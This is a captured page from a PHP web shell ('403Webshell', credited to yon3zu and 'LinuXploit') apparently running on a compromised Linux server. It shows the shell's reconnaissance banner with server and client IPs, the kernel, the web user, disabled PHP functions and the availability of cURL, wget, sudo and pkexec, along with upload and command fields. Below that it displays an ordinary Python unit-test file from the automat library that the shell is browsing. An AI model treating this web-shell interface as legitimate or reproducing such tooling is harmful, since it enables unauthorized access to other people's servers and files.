403Webshell
Server IP : 172.67.216.182  /  Your IP : 172.69.176.31
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/automat/_test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/automat/_test/test_core.py
from .._core import Automaton, NoTransition

from unittest import TestCase

class CoreTests(TestCase):
    """
    Tests for Automat's (currently private, implementation detail) core.
    """

    def test_NoTransition(self):
        """
        A L{NoTransition} exception describes the state and input symbol
        that caused it.
        """
        # NoTransition requires two arguments
        with self.assertRaises(TypeError):
            NoTransition()

        state = "current-state"
        symbol = "transitionless-symbol"
        noTransitionException = NoTransition(state=state, symbol=symbol)

        self.assertIs(noTransitionException.symbol, symbol)

        self.assertIn(state, str(noTransitionException))
        self.assertIn(symbol, str(noTransitionException))


    def test_noOutputForInput(self):
        """
        L{Automaton.outputForInput} raises L{NoTransition} if no
        transition for that input is defined.
        """
        a = Automaton()
        self.assertRaises(NoTransition, a.outputForInput,
                          "no-state", "no-symbol")


    def test_oneTransition(self):
        """
        L{Automaton.addTransition} adds its input symbol to
        L{Automaton.inputAlphabet}, all its outputs to
        L{Automaton.outputAlphabet}, and causes L{Automaton.outputForInput} to
        start returning the new state and output symbols.
        """
        a = Automaton()
        a.addTransition("beginning", "begin", "ending", ["end"])
        self.assertEqual(a.inputAlphabet(), {"begin"})
        self.assertEqual(a.outputAlphabet(), {"end"})
        self.assertEqual(a.outputForInput("beginning", "begin"),
                         ("ending", ["end"]))
        self.assertEqual(a.states(), {"beginning", "ending"})


    def test_oneTransition_nonIterableOutputs(self):
        """
        L{Automaton.addTransition} raises a TypeError when given outputs
        that aren't iterable and doesn't add any transitions.
        """
        a = Automaton()
        nonIterableOutputs = 1
        self.assertRaises(
            TypeError,
            a.addTransition,
            "fromState", "viaSymbol", "toState", nonIterableOutputs)
        self.assertFalse(a.inputAlphabet())
        self.assertFalse(a.outputAlphabet())
        self.assertFalse(a.states())
        self.assertFalse(a.allTransitions())


    def test_initialState(self):
        """
        L{Automaton.initialState} is a descriptor that sets the initial
        state if it's not yet set, and raises L{ValueError} if it is.

        """
        a = Automaton()
        a.initialState = "a state"
        self.assertEqual(a.initialState, "a state")
        with self.assertRaises(ValueError):
            a.initialState = "another state"


# FIXME: addTransition for transition that's been added before

Youez - 2016 - github.com/yon3zu
LinuXploit